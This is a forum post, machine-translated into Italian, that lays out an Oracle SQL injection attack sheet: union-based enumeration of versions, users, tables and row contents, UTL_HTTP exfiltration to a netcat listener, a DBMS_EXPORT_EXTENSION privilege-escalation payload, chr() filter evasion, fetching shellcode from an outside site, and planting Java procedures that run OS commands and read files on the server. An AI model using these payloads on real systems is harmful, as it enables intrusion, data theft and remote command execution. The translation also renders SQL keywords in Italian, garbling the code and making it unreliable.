Questo post è stato modificato l'ultima volta da test il 24-1-2015 alle 13:01
Commento: -- L'esecuzione di frasi multiple non è supportata e sono supportate le query federate I nomi dei database, delle tabelle e delle colonne sono tutti maiuscoli.
lunghezza(campo) ascii(sottostra (campo, N, 1))
e (seleziona count(*) dal duale)>0 -- Determina se è oracolo o meno
Ordine di N--
e 1=2 unione seleziona nullo, nullo,.....,nullo da duale-- sostituisci nullo con N o 'N'
e 1=2 union select null, (istruzione sql) ,.....,null da duale -- cambia a (istruzione sql) a 'N'
e (seleziona count(*) da all_objects dove object_name='UTL_HTTP')>0 -- Determinare se il UTL_HTTP è supportato (l'IP di esportazione è noto)
e UTL_HTTP.request('http://LocalIP:port'|| (istruzione SQL)) =1-- Inviare messaggi da remoto a ascolto locale nc -vv -l -p 1234
Istruzioni SQL Seleziona il banner da sys.v_$version, dove rownum=1 per consultare la versione dell'oracolo select member da v$logfile dove rownum=1 Consulta il percorso del file di log (Windows o Linux) seleziona utl_inaddr.get_host_address da dual per interrogare l'IP di ascolto del database Seleziona instance_name da v$instance per interrogare il sid seleziona nome da v$database Consulta il nome attuale del database seleziona sys_context ('userenv','current_user') tra gli utenti del database di dual query seleziona * da session_roles dove rownum=1 per interrogare i permessi utente attuali seleziona * da session_roles dove rownum=1 [e ruolo<>'nome del primo permesso']
seleziona table_name da user_tables dove rownum=1 Il primo segmento di tabella del database corrente seleziona table_name||','|| tablespace_name da user_tables dove rownum=1 Primo segmento di tabella, database (per verificare potrebbe non essere v$database) seleziona table_name da user_tables dove rownum=1 e table_name<>'primo segmento di tabella' Il secondo segmento di tabella del database corrente
seleziona column_name da user_tab_columns dove rownum=1 e table_name='Segmento della tabella' Il primo campo corrispondente al nome della tabella seleziona column_name da user_tab_columns dove rownum=1 e table_name='Segmento della tabella' e column_name<>'Primo campo' Il secondo campo corrispondente al nome della tabella
Seleziona il campo dal segmento della tabella dove rownum=1 viola il contenuto della prima riga seleziona il campo dal segmento della tabella dove rownum=1 e il campo <> 'contenuto della prima riga' espone il contenuto della seconda riga
Incrocio tra biblioteche seleziona proprietario da all_tables dove rownum=1 interroga il primo nome del database seleziona proprietario da all_tables dove rownum=1 e proprietario<> 'Primo nome database' per consultare il secondo nome database
seleziona table_name da all_tables dove rownum=1 e owner='nome database' Consulta il nome della prima tabella del database corrispondente Seleziona table_name da all_tables dove rownum=1 e proprietario='nome database' e table_name<>'nome della prima tabella' per consultare il secondo nome della tabella del database corrispondente
seleziona column_name da all_tab_columns dove rownum=1 e owner='nome database' e table_name='segmento della tabella' Il primo campo corrispondente al nome della tabella seleziona column_name da all_tab_columns dove rownum=1 e owner='nome database' e table_name='segmento della tabella' e column_name<>'primo campo' Il secondo campo corrispondente al nome della tabella
Seleziona il campo dal database. segmento di tabella dove rownum=1 viola il contenuto della prima riga Seleziona il campo dal database. Il segmento di tabella dove rownum=1 e il campo <> 'Contenuto della prima riga' viola il contenuto della seconda riga
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); END a più istruzioni di più elementi; --','SYS',0,'1',0)--
Se 'è scappato, si usa chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| CHR(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-istruzioni || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Se più frasi sono troppo lunghe, puoi scrivere la dichiarazione nel file del sito web e usare utl_http.request per recuperarla.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Crea un pacchetto JAVA SecTest runCMD viene utilizzato per eseguire comandi di sistema e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE" DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUI IMMEDIATAMENTE'' crea o sostituisci e compila il codice sorgente Java denominato "SecTest" come import java.io.*; la classe pubblica SecTest estende Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); Stringa stemp,str=""; while((stemp=miaReader.readLine())!=null) str+=stemp+"\n"; mioReader.close(); ritorna forza; }catch(Eccezione e){return e.toString(); }}}''''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--
readFile viene usato per leggere il file e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE" DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUI IMMEDIATAMENTE'' crea o sostituisci e compila il codice sorgente Java denominato "SecTest" come import java.io.*; la classe pubblica SecTest estende Object{public static String readFile(Stringname){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); Stringa stemp,str=""; while((stemp=miaReader.readLine())!=null) str+=stemp+"\n"; mioReader.close(); ritorna forza; }catch(Eccezione e){return e.toString(); }}}''''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--
Concedere permessi Java e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE ''DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUI IMMEDIATAMENTE '''inizia dbms_java.concedere_permesso(''''''''PUBBLICO'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<TUTTI FILE>>'''''''',''''''''eseguire''''''''); fine; ''''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--
Creare una funzione Funzione SecRunCMD e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE ''DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUI IMMEDIATAMENTE '''crea o sostituisci funzione SecRunCMD(p_cmd in varchar2) return varchar2 come linguaggio nome java''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--
Funzione SecReadFile e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE ''DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUI IMMEDIATAMENTE '''' crea o sostituisci funzione SecReadFile(nome file in varchar2) ritorna varchar2 come linguaggio nome java''''''''SecTest.readFile(java.lang.String) restituisci String' '''''''; ''''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--
Concedere il permesso di svolgere la funzione pubblica A SecRunCMD vengono concessi i permessi e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE ''DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA A ESEGUIRE IMMEDIATAMENTE '''concede tutto su SecRunCMD al pubblico'''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--
SecReadFile e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE ''DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUIRE IMMEDIATAMENTE ''''concede tutto su SecReadFile al pubblico'''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--
Rileva se la funzione è stata creata con successo e (seleziona count(*) da all_objects dove object_name='SECRUNCMD')>0-- e (seleziona count(*) da all_objects dove object_name='SECREADFILE')>0--
Esegui il comando e '1'<> (seleziona sys. SecRunCMD('Comando Esegui') da dual)-- e '1'<> (seleziona sys. SecReadFile ('indirizzo fisico del file') da dual)-- o e 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null da dual-- e 1=2 union select null,...,sys. SecReadFile('indirizzo fisico del file'),...,null da dual-- o e '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| SOSTITUIRE(SOSTITUIRE(sys. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) da dual)-- e '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| SOSTITUIRE(SOSTITUIRE(sys. SecReadFile('File Physical Address'),' ',' ','\n',' ')) da dual)--
Funzione di cancellazione e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE ''DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUIRE IMMEDIATAMENTE '''funzione drop SecRunCMD''''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)-- e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE ''DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUIRE IMMEDIATAMENTE '''funzione drop SecReadFile'''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)-- |